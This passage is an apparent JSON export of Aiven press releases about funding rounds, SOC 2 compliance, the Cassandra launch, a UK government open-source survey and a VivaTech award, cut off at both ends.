Berlin, and Sydney. Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"PV2JuLv5","_type":"block","children":[{"_key":"px5SKxzy","_type":"span","marks":[],"text":"You can visit "},{"_key":"5gITXlAR","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"MZTbSQxu","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"VU0UI6p1","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"9qsXonaY","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2019-10-10T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: In October 2019, Aiven announced its Service Organization Control (SOC) 2 compliant status.","metaTitle":"Aiven achieves SOC 2 compliance"},"slug":{"_type":"slug","current":"/press/aiven-achieves-soc2-compliance"},"subtitle":"Aiven Press Release: In October 2019, Aiven announced its Service Organization Control (SOC) 2 compliant status.","title":"Aiven achieves SOC 2 compliance"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"1J2k62rVHznTj2cIWEH4Bd","_rev":"fuFsKkOoAJwNVpPrIJwLwg","_type":"pressRelease","_updatedAt":"2022-12-07T13:40:23Z","content":[{"_key":"j1NPgr0Q","_type":"block","children":[{"_key":"G1LzMnCx","_type":"span","marks":["em"],"text":"With its most recent funding round, Aiven plans to build on its mission to make developers lives better by establishing a global sustainability and social impact program"}],"markDefs":[],"style":"normal"},{"_key":"bjL832Qa","_type":"block","children":[{"_key":"zixzHQMJ","_type":"span","marks":["strong"],"text":"HELSINKI, Finland - May 11, 2022"},{"_key":"R3NZ3wTw","_type":"span","marks":[],"text":" — "},{"_key":"yOZEr6VW","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"6Mble0CD","_type":"span","marks":[],"text":", a software company that combines the best open source technologies with cloud infrastructure, today announced it raised $210M in its Series D at a pre-money valuation of $3B. The round was led by Eurazeo, and joined by funds and accounts managed by BlackRock as well as existing investors IVP, Atomico, Earlybird, World Innovation Lab and Salesforce Ventures."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"uZTufU3x","_type":"block","children":[{"_key":"RIpAyFuE","_type":"span","marks":[],"text":"The company has increased its headcount by more than 65% since October 2021 and aims to use the new funding to continue its international expansion, reaching beyond its newest hubs in Japan, Singapore and New Zealand, to other parts of the Asia-Pacific and Latin America regions. Aiven looks to double its current number of employees in 2022 to help develop new platform capabilities and launch a global sustainability program, with the goal of enabling collective action within the Aiven community to build more sustainable applications in the cloud."}],"markDefs":[],"style":"normal"},{"_key":"v9tyIXLy","_type":"block","children":[{"_key":"wqO0WpSY","_type":"span","marks":[],"text":"Following last year’s initiatives, including the establishment of a formal "},{"_key":"r0tW9OkI","_type":"span","marks":["m12930016802876"],"text":"Open Source Program Office"},{"_key":"jwyj6Hnc","_type":"span","marks":[],"text":" and the launch of Aiven’s startup program, "},{"_key":"6tcWNWFB","_type":"span","marks":["m1900822063714"],"text":"Cluster"},{"_key":"ZJH2HbQn","_type":"span","marks":[],"text":", the company is committed to further democratizing access to best-of-breed data technologies, reducing the environmental impact of cloud services and increasing diversity and inclusion at Aiven and in the tech industry more broadly."}],"markDefs":[{"_key":"m12930016802876","_type":"link","href":"https://aiven.io/blog/open-source-program-office-at-aiven-a-year-later"},{"_key":"m1900822063714","_type":"link","href":"https://aiven.io/cluster"}],"style":"normal"},{"_key":"AfG0fwc6","_type":"block","children":[{"_key":"Q2lnADxL","_type":"span","marks":[],"text":"“Aiven’s mission is to make developers’ lives better, to help them build better applications,” said Oskari Saarenmaa, CEO and co-founder at Aiven. “Further investing in supporting open, community driven development of software and sustainable use of cloud services is a natural extension of what we value and have always wanted to achieve with Aiven.”"}],"markDefs":[],"style":"normal"},{"_key":"gYaz9mnp","_type":"block","children":[{"_key":"kYH96EXy","_type":"span","marks":[],"text":"“Aiven is a prime showcase of a European-born champion on a trajectory of global category leadership. Its differentiated platform approach truly caters to the developer community by democratizing access to open-source technologies hosted on any cloud. The company has seen rapid adoption by customers across all sizes and industries with a demonstrated track record of product-led growth,” said Zoé Fabian, Managing Director at Eurazeo - Growth. “Sustainability is a key part of our investment thesis at Eurazeo and seeing Aiven being committed to combining a stellar financial profile with sustainability further strengthened our high conviction on embarking on the joint journey with Aiven to build the go-to platform for developers.”"}],"markDefs":[],"style":"normal"},{"_key":"rCac5qSi","_type":"block","children":[{"_key":"FzbRbgAU","_type":"span","marks":[],"text":"For more information on Aiven, visit "},{"_key":"9JuEYtU5","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io/"},{"_key":"7UeWiFAJ","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"vMBFGDvC","_type":"block","children":[{"_key":"k3L994IZ","_type":"span","marks":["strong"],"text":"About Aiven:"}],"markDefs":[],"style":"normal"},{"_key":"9flHP5sX","_type":"block","children":[{"_key":"lk6RDwt6","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Sydney, Singapore, and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. To learn more about Aiven, visit "},{"_key":"LOns8qOQ","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"yj9JDQHk","_type":"span","marks":[],"text":" and follow "},{"_key":"PeBa3vdt","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"eOENoY63","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"CFJmY96W","_type":"block","children":[{"_key":"x7xEgeI8","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"222JKS3R","_type":"block","children":[{"_key":"HuJZjSvy","_type":"span","marks":[],"text":"Megan Gasper - Walker Sands - megan.gasper@walkersands.com"}],"markDefs":[],"style":"normal"},{"_key":"I61TfAgM","_type":"block","children":[{"_key":"QDxiVyjQ","_type":"span","marks":[],"text":"Emma Paajanen - VP Marketing, Aiven - emma@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-05-11T00:00:00.000Z","seo":{"metaDescription":"With its most recent funding round, Aiven plans to build on its mission to make developers lives better by establishing a global sustainability and social impact program","metaTitle":"Aiven Raises $210M to Invest in Sustainable Open Source Cloud"},"slug":{"_type":"slug","current":"/press/Aiven-raises-210M-to-invest-in-sustainable-open-source-cloud"},"subtitle":"With its most recent funding round, Aiven plans to build on its mission to make developers lives better by establishing a global sustainability and social impact program","title":"Aiven raises $210M to invest in sustainable open source cloud"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"10qDirwKNbVkl6TZmLmtC1","_rev":"YKkjAGOOflKrRktUkAOXH0","_type":"pressRelease","_updatedAt":"2022-12-02T11:36:13Z","body":"__Helsinki, Finland__\n\nAiven Cassandra is now generally available, marking Aiven’s 7th open-source service. Aiven selected Cassandra as its next service because of the demand for a distributable NoSQL database with tunable consistency.\n\nHeikki Nousiainen, Chief Technical Officer, offers more detail on the decision to offer Cassandra, \"Apache Cassandra was a common request amongst Aiven users, and we’re happy to answer that demand. Cassandra is the most popular wide column store out there, and now with Aiven, you can unleash its power without worrying about the operational burden.\"\n\nAiven initially launched Cassandra as an open Beta program to better understand customer requirements and build in the necessary features that would render the service suitable for production environments. These features include continuous repairs, automated backups and capabilities for plan adjustments and cloud migrations.\n\nThe service is available in three standard plan sizes with varying levels of compute and storage resources. Although their standard plans account for most use cases, Aiven also offers custom plans that require greater scale.\n\nAiven Cassandra is available in Amazon Web Services (AWS), Google Cloud Platform (GCP), Microsoft Azure, DigitalOcean, and UpCloud in 74 regions—the largest geographic coverage of any Cassandra as a Service provider.\n\nAs with all Aiven managed cloud services, users can launch Aiven Cassandra from the Aiven UI in the cloud and region of their choice within a few minutes. Additionally, it can be managed from Aiven’s REST API or command line client.\n\nVisit the [Aiven Cassandra page](https://aiven.io/cassandra) for more information and to sign up for a free, no-commitment trial.\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"5BKyHEL7","_type":"block","children":[{"_key":"0138a300c0cb","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — November 8, 2018- "},{"_key":"YuWBTn37","_type":"span","marks":[],"text":"Aiven Cassandra is now generally available, marking Aiven’s 7th open-source service. Aiven selected Cassandra as its next service because of the demand for a distributable NoSQL database with tunable consistency."}],"markDefs":[],"style":"normal"},{"_key":"HbEQn2L9","_type":"block","children":[{"_key":"jL4HFJR0","_type":"span","marks":[],"text":"Heikki Nousiainen, Chief Technical Officer, offers more detail on the decision to offer Cassandra, \"Apache Cassandra was a common request amongst Aiven users, and we’re happy to answer that demand. Cassandra is the most popular wide column store out there, and now with Aiven, you can unleash its power without worrying about the operational burden.\""}],"markDefs":[],"style":"normal"},{"_key":"5aUNlDHs","_type":"block","children":[{"_key":"T1tp68m6","_type":"span","marks":[],"text":"Aiven initially launched Cassandra as an open Beta program to better understand customer requirements and build in the necessary features that would render the service suitable for production environments. These features include continuous repairs, automated backups and capabilities for plan adjustments and cloud migrations."}],"markDefs":[],"style":"normal"},{"_key":"Mardu6wc","_type":"block","children":[{"_key":"Xq9WOLtd","_type":"span","marks":[],"text":"The service is available in three standard plan sizes with varying levels of compute and storage resources. Although their standard plans account for most use cases, Aiven also offers custom plans that require greater scale."}],"markDefs":[],"style":"normal"},{"_key":"FCLT2x0B","_type":"block","children":[{"_key":"rI1OvWHw","_type":"span","marks":[],"text":"Aiven Cassandra is available in Amazon Web Services (AWS), Google Cloud Platform (GCP), Microsoft Azure, DigitalOcean, and UpCloud in 74 regions—the largest geographic coverage of any Cassandra as a Service provider."}],"markDefs":[],"style":"normal"},{"_key":"1sar7Crg","_type":"block","children":[{"_key":"suK64rNk","_type":"span","marks":[],"text":"As with all Aiven managed cloud services, users can launch Aiven Cassandra from the Aiven UI in the cloud and region of their choice within a few minutes. Additionally, it can be managed from Aiven’s REST API or command line client."}],"markDefs":[],"style":"normal"},{"_key":"IkIThuad","_type":"block","children":[{"_key":"GeITlM7V","_type":"span","marks":[],"text":"Visit the "},{"_key":"XFUFzmTF","_type":"span","marks":["m5543125622834"],"text":"Aiven Cassandra page"},{"_key":"VhYpkC6m","_type":"span","marks":[],"text":" for more information and to sign up for a free, no-commitment trial."}],"markDefs":[{"_key":"m5543125622834","_type":"link","href":"https://aiven.io/cassandra"}],"style":"normal"},{"_key":"TZPxcuwN","_type":"block","children":[{"_key":"eEaE1vtf","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"LLVCFWm9","_type":"block","children":[{"_key":"JSioyEgp","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"UEaPNfHm","_type":"block","children":[{"_key":"nkliSFHQ","_type":"span","marks":[],"text":"You can visit "},{"_key":"ssjjyzSm","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"kAsvVPOY","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"vPwzQb3e","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"Nsd5cvHZ","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2018-11-08T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: In 2018, the service Cassandra has become available on AWS, GCP, Microsoft Azure, DigitalOcean and UpCloud. ","metaTitle":"Aiven Cassandra now on AWS, GCP, Microsoft Azure \u0026 more"},"slug":{"_type":"slug","current":"/press/aiven-cassandra-now-on-aws-gcp-microsoft-azure-and-more"},"subtitle":"Aiven Press Release: In 2018, the service Cassandra has become available on AWS, GCP, Microsoft Azure, DigitalOcean and UpCloud. ","title":"Aiven Cassandra now on AWS, GCP, Microsoft Azure \u0026 more"} {"__i18n_lang":"en","_createdAt":"2022-09-07T06:43:43Z","_id":"2lMnEqt0idAFCxWjNS0HIx","_rev":"WCxK3EcVhP1U4hck0XVQna","_type":"pressRelease","_updatedAt":"2022-12-07T13:39:25Z","content":[{"_key":"27Rj7PQM","_type":"block","children":[{"_key":"xXYhWqU8","_type":"span","marks":["em"],"text":"UK Government has committed to being more open and using open source technologies, but Aiven’s research finds there’s a long way to go"}],"markDefs":[],"style":"normal"},{"_key":"BqMZaodl","_type":"block","children":[{"_key":"d6qr9wp7","_type":"span","marks":["strong"],"text":"HELSINKI, Finland, LONDON, United Kingdom, 4 July 2022"},{"_key":"3f5b8bb60311","_type":"span","marks":[],"text":" - "},{"_key":"3cMXX4Jx","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"fersPzl5","_type":"span","marks":[],"text":", a leading technology company combining the best open source streaming and data management technologies with cloud infrastructure, today announced the results of its survey into the use of open source technology in the UK government. It found that 71% of UK government tech workers report the Government is now using more open source software compared to five years ago, yet over a third (38%) still don’t use any open source software in their department."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"8IgPV3Tw","_type":"block","children":[{"_key":"BiYkSxri","_type":"span","marks":[],"text":"The UK Government has committed to being more open and using open source. "},{"_key":"CIAHhBCa","_type":"span","marks":["m6301754298471"],"text":"The Technology Code of Practice"},{"_key":"VFrsIJnC","_type":"span","marks":[],"text":", published in July 2021 by the Central Digital and Data Office encourages technology projects or programmes to “publish your code and use open source software to improve transparency, flexibility and accountability”."}],"markDefs":[{"_key":"m6301754298471","_type":"link","href":"https://www.gov.uk/guidance/the-technology-code-of-practice#be-open-and-use-open-source"}],"style":"normal"},{"_key":"eLWwA1nj","_type":"block","children":[{"_key":"5lbFRYjw","_type":"span","marks":[],"text":"Government Digital Service (GDS), which like the Central Digital and Data Office is a unit of the UK Government’s Cabinet Office, is an example of this progressive approach to open source. GDS, an "},{"_key":"ErSMCBSx","_type":"span","marks":["m520292500957"],"text":"Aiven customer"},{"_key":"tzoaZWVo","_type":"span","marks":[],"text":", is a vision for a digital government and the realisation of “government as a platform.” It’s based around a common core of shared digital systems, technology, and processes on which it’s easy to build user-centric government services. Its open ethos has led to the department hosting over 1,500 repositories on its "},{"_key":"IN3v9qk2","_type":"span","marks":["m6004227064629"],"text":"GitHub page"},{"_key":"FJd2hFSr","_type":"span","marks":[],"text":", the most of any government department or agency."}],"markDefs":[{"_key":"m520292500957","_type":"link","href":"https://aiven.io/blog/aiven-for-opensearch-was-chosen-for-gov-uk-customer-story"},{"_key":"m6004227064629","_type":"link","href":"https://github.com/alphagov"}],"style":"normal"},{"_key":"80ux5z9W","_type":"block","children":[{"_key":"Z3zXyCG1","_type":"span","marks":[],"text":"The challenge is expanding GDS’s progressive approach to open source to a wider range of government departments."}],"markDefs":[],"style":"normal"},{"_key":"GOxcFy3z","_type":"block","children":[{"_key":"hxzu9oJO","_type":"span","marks":[],"text":"The research found that although 62% of departments are using open source software, only 10% have fully open-sourced their code like GDS. 22% of departments publish some of their code, and the rest (30%) use open source but don’t publish their codebase."}],"markDefs":[],"style":"normal"},{"_key":"KH7XfMw9","_type":"block","children":[{"_key":"oDZCYqgP","_type":"span","marks":[],"text":"However, there are good reasons to use open source, and these are well understood by the Government."}],"markDefs":[],"style":"normal"},{"_key":"2FsgenKx","_type":"block","children":[{"_key":"zfiWL8Qr","_type":"span","marks":["strong"],"text":"Open Source doesn’t just deliver savings, it helps with recruitment"}],"markDefs":[],"style":"normal"},{"_key":"Su8DMt8w","_type":"block","children":[{"_key":"yd30bxzd","_type":"span","marks":[],"text":"One of the benefits of using open source within government includes but is not limited to the savings made on licensing costs, with the research finding that open source also has a big role to play in recruiting and retaining talent. Three quarters (75%) of respondents reported that using open source will help the UK government to hire more developers and software engineers."}],"markDefs":[],"style":"normal"},{"_key":"db5NTrzz","_type":"block","children":[{"_key":"iRLBInEJ","_type":"span","marks":[],"text":"When asked why it would help, the top reasons for this were found to be:"}],"markDefs":[],"style":"normal"},{"_key":"ddCzHInu","_type":"block","children":[{"_key":"CFBdH5fO","_type":"span","marks":[],"text":"Developers have visibility of the types of projects they’ll be working on even at the interview stage (by being able to see it on GitHub) – 65%"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bs1mBtAx","_type":"block","children":[{"_key":"zEVqrSKW","_type":"span","marks":[],"text":"Developers feel more confident the code base is clean and well documented when they start – 52%"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"jO0OXDn6","_type":"block","children":[{"_key":"c7Uh52ra","_type":"span","marks":[],"text":"Developers are proud of their work and want to share it – 51%"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ig3KOOrX","_type":"block","children":[{"_key":"3ED01eIY","_type":"span","marks":[],"text":"Developers like having “open source contributor” on their CV for future career prospects – 44%"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"w4WMTnr5","_type":"block","children":[{"_key":"Kl8WVV6X","_type":"span","marks":[],"text":"Heikki Nousiainen, CTO of Aiven commented, “The UK Government is clearly committed to open source. Not only is it more cost-effective and secure, but our research found that it’s also a great way to recruit and retain talent. In a competitive market, open source software means engineers can peek under the covers and see the types of projects they’ll be working on”."}],"markDefs":[],"style":"normal"},{"_key":"eAiR6vSH","_type":"block","children":[{"_key":"UrZaAxB9","_type":"span","marks":[],"text":"“Working with Government Digital Service (GDS), we’ve directly seen the potential for open source in the public sector. The GOV.UK PaaS is a great example of how everyone from central government departments to local services like councils and fire departments can leverage non-proprietary code”."}],"markDefs":[],"style":"normal"},{"_key":"AQP9E9FR","_type":"block","children":[{"_key":"u1gd8Ye9","_type":"span","marks":[],"text":"“The challenge is that GDS is still in the minority amongst Government departments. There’s work to be done to get other branches to use and contribute to open source projects. But the benefits are clear – from collaboration to attracting talent, open source is the better way.”"}],"markDefs":[],"style":"normal"},{"_key":"5dDKezrm","_type":"block","children":[{"_key":"HOaKFRCQ","_type":"span","marks":["strong"],"text":"Notes to editor"},{"_key":"50sKBpwM","_type":"span","marks":[],"text":": Aiven surveyed 103 UK Government technology workers between 24 and 30 June 2022."}],"markDefs":[],"style":"normal"},{"_key":"7mIxi1ow","_type":"block","children":[{"_key":"cSbKTVJ5","_type":"span","marks":["strong"],"text":"About Aiven:"}],"markDefs":[],"style":"normal"},{"_key":"6BMCrWyU","_type":"block","children":[{"_key":"OLJdIbq4","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Toronto, Sydney, and Singapore, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard."}],"markDefs":[],"style":"normal"},{"_key":"l1eWtGnh","_type":"block","children":[{"_key":"2mIkMX4T","_type":"span","marks":[],"text":"Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, First Fellow, IVP, Lifeline Ventures, Salesforce Ventures ,World Innovation Lab, Eurazeo, and Blackrock. To learn more about Aiven, visit "},{"_key":"KMjGQc9x","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"l4ONZuw1","_type":"span","marks":[],"text":" and follow "},{"_key":"qArf9jTj","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"y8j69CEq","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2022-07-04T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Open Source Research: The UK government can greatly benefit from open source but over a third of its tech workers still don’t use it","metaTitle":"UK government benefit open source tech workers still don’t"},"slug":{"_type":"slug","current":"/press/open-source-research-uk-government"},"subtitle":"Open Source Research: The UK government can greatly benefit from open source but over a third of its tech workers still don’t use it","title":" Open source research: the UK government can greatly benefit from open source but over a third of its tech workers still don’t use it"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"65ms2sFbkP8FGmzVeSUoyR","_rev":"5iTZEBNHx5PwgJLwP8gff7","_type":"pressRelease","_updatedAt":"2022-12-02T12:40:47Z","content":[{"_key":"eFuRXyPB","_type":"block","children":[{"_key":"66eff4ee0612","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — June 18, 2021- "},{"_key":"BX59gHi2","_type":"span","marks":[],"text":"On June 18 2021, at VivaTech, the largest Tech event in France, Aiven - a leading technology company combining the best open source event streaming and data management technologies with infrastructure - was among six category finalists to receive an Award at the Prize ceremony Next Unicorn Awards in the Enterprise SaaS category."}],"markDefs":[],"style":"normal"},{"_key":"DOxuQePt","_type":"block","children":[{"_key":"LWtE8HD8","_type":"span","marks":[],"text":"The ceremony took place in the presence of Kat Borlongan, Director of FrenchTech and Cédric O, French Secretary of State for the Digital Economy, the Jury members and VivaTech attendees. Thomas Dubus, VP Sales EMEA at Aiven, received the Award at the ceremony:"}],"markDefs":[],"style":"normal"},{"_key":"Kyj633q0","_type":"block","children":[{"_key":"lGW05OE0","_type":"span","marks":[],"text":"“On behalf of Aiven, I would like to express our gratitude for this award. Aiven was founded on the idea that open source databases can help enterprises in their transition to the cloud as long as it is made easy, reliable, and cost-effective. And this is what we do at Aiven: we offer open source DBaaS in a high quality and multi-cloud environment, so our customers benefit from a rock-solid foundation to develop the applications that really matter for their business. As we see open source databases taking more and more market space, our ambition is to become a key European enabler of enterprise cloud transformation.”"}],"markDefs":[],"style":"normal"},{"_key":"nfdhUdV9","_type":"block","children":[{"_key":"i44kN1LS","_type":"span","marks":[],"text":"The nomination of Aiven as category winner follows the announcement in April of the “Top 100 Next Unicorns”, a list of the hundred most promising startups in Europe (including UK and Israel). The list was made by VivaTech in partnership with GP Bullhound and five international VC funds: Accel, Balderton, IdInvest, Partech and NorthZone."}],"markDefs":[],"style":"normal"},{"_key":"UcpG1swV","_type":"block","children":[{"_key":"veyD79Uc","_type":"span","marks":[],"text":"With Headquarters in Helsinki and hubs in Berlin, Boston, Toronto and Sydney (more coming soon), Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and M3, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what it does best; manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Earlier this year, ADEO announced its partnership with Aiven. Aiven has raised $150M in VC funding to date and is backed by world-class investors including Atomico, IVP and Earlybird Venture Capital, among others. To learn more about Aiven, visit "},{"_key":"wEOvB4po","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"O2sSiBfo","_type":"span","marks":[],"text":" and follow "},{"_key":"ZW2eCGm8","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"hSak1RSw","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2021-06-18T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Founded on the idea that open source databases can help enterprises in their cloud transition, Aiven received the Next Unicorn Award.","metaTitle":"Aiven selected as Enterprise SaaS winner at VivaTech"},"slug":{"_type":"slug","current":"/press/aiven-selected-as-a-category-winner-enterprise-saas-at-vivatech"},"subtitle":"Founded on the idea that open source databases can help enterprises in their cloud transition, Aiven received the Next Unicorn Award at a ceremony held in Paris, France.","title":"Aiven selected as Enterprise SaaS winner at VivaTech"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"7wIAFvwRmBCXqgHVhQ2Xyq","_rev":"ElrRHx5al3kb1PwLXGi6qd","_type":"pressRelease","_updatedAt":"2022-12-02T12:01:36Z","content":[{"_key":"zTvqbBHD","_type":"block","children":[{"_key":"R19TR8pN","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — February 5, 2020 - "},{"_key":"o4F5wC6K","_type":"span","marks":["m3875742048231"],"text":"Aiven"},{"_key":"u5K1FnU3","_type":"span","marks":[],"text":", a startup that combines the best open source technologies with cloud infrastructure, today announced that it has raised $40 million in Series B funding. This brings the total funds raised to $50 million. The round was led by Silicon Valley-based "},{"_key":"PRMdqbtV","_type":"span","marks":["m14481166898348"],"text":"IVP"},{"_key":"8F46k8nA","_type":"span","marks":[],"text":", whose notable investments include Datadog, Dropbox, GitHub, HashiCorp, and Slack. Existing investors Earlybird VC and Lifeline Ventures, as well as family offices of Risto Siilasmaa, chairman of Nokia, and Olivier Pomel, founder of Datadog, also participated in the round."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m14481166898348","_type":"link","href":"https://www.ivp.com/"}],"style":"normal"},{"_key":"k1BBVwhT","_type":"block","children":[{"_key":"Ouha9C9E","_type":"span","marks":["m10038045464649"],"text":"Organizations of all sizes are moving to the cloud"},{"_key":"2xPvgRPi","_type":"span","marks":[],"text":" and leveraging open source software as the backbone of their data infrastructure. While larger companies have the resources and expertise to manage these deployments internally, most companies require some level of third-party support to effectively utilize open source."}],"markDefs":[{"_key":"m10038045464649","_type":"link","href":"https://www.gartner.com/smarterwithgartner/cloud-shift-impacts-all-it-markets/"}],"style":"normal"},{"_key":"uCLTWcVu","_type":"block","children":[{"_key":"NfBnbyZ4","_type":"span","marks":[],"text":"Aiven democratizes access to the latest open source technologies by offering fully-managed services for popular open source projects like Apache Kafka and Cassandra, OpenSearch, M3 and PostgreSQL in the "},{"_key":"XdGn7Re7","_type":"span","marks":["m8290511468142"],"text":"public cloud"},{"_key":"w2cVvV2V","_type":"span","marks":[],"text":". Aiven now serves over 500 businesses worldwide, including Atlassian, Comcast, OVO Energy and Toyota, and is available on all major public clouds."}],"markDefs":[{"_key":"m8290511468142","_type":"link","href":"https://aiven.io/blog/public-v-private-clouds-whats-the-difference"}],"style":"normal"},{"_key":"N2mpR1iO","_type":"block","children":[{"_key":"jn5afwBo","_type":"span","marks":[],"text":"“This investment is evidence of a growing appetite from enterprises for open source data technologies,” said "},{"_key":"9AP9FfiP","_type":"span","marks":["m17162928532968"],"text":"Oskari Saarenmaa"},{"_key":"H3I6Mrsb","_type":"span","marks":[],"text":", CEO and co-founder at Aiven. “Aiven is able to close that gap by offering a platform that abstracts away all the complexities of operating those technologies so our customers can focus on their business applications and driving the bottom-line. With the new funding, we’ll be able to expand our product roadmap and work more closely with our customers globally to help them utilize open source technologies at scale.”"}],"markDefs":[{"_key":"m17162928532968","_type":"link","href":"https://www.linkedin.com/in/oskarisaarenmaa/"}],"style":"normal"},{"_key":"G3FWg3Mm","_type":"block","children":[{"_key":"ynhy11xF","_type":"span","marks":[],"text":"Aiven experienced tremendous growth in 2019. The company tripled its revenue run rate, added 200 new customers, doubled headcount and opened two new offices in Berlin and Sydney. The new round of financing will enable Aiven to expand its presence in the U.S. and accelerate Aiven’s mission of empowering developers and democratizing access to the latest open source technologies."}],"markDefs":[],"style":"normal"},{"_key":"X2jc54hq","_type":"block","children":[{"_key":"RGkz6ut3","_type":"span","marks":[],"text":"Aiven will use the proceeds of the round to triple headcount, add new open source technologies like M3 and Flink, and introduce new enterprise grade features. IVP General Partner "},{"_key":"vGFs7TpH","_type":"span","marks":["m13805027268076"],"text":"Eric Liaw"},{"_key":"Vza1AYQg","_type":"span","marks":[],"text":" will join Aiven’s board of directors."}],"markDefs":[{"_key":"m13805027268076","_type":"link","href":"https://www.linkedin.com/in/ericliaw/"}],"style":"normal"},{"_key":"b40aQ2Ff","_type":"block","children":[{"_key":"1Ar3LgxZ","_type":"span","marks":[],"text":"“The increasing adoption of open-source infrastructure software and public cloud usage are among the incredibly powerful trends in enterprise technology and Aiven is making it possible for customers of all sizes to benefit from the advantages of open source infrastructure,“ Liaw said. “In addition to their market potential and explosive yet capital-efficient growth, we were most impressed to hear from customer after customer that ‘Aiven just works.’ The overwhelmingly positive feedback from customers is a testament to their hiring practices and the strong engineering team they have built. We’re thrilled to partner with Aiven’s team and help them build their vision of a single open-source data cloud that serves the needs of customers of all sizes.”"}],"markDefs":[],"style":"normal"},{"_key":"2kSRFsap","_type":"block","children":[{"_key":"VidQin7Y","_type":"span","marks":[],"text":"For the first time in five years, enterprise software companies raised more venture funding than consumer technology companies – "},{"_key":"OAiCxNTE","_type":"span","marks":["m9600503914587"],"text":"more than $30 billion"},{"_key":"mE4MJCzC","_type":"span","marks":[],"text":". Capitalizing on this trend, Aiven has emerged as a leader in providing organizations with the best open source database and data processing 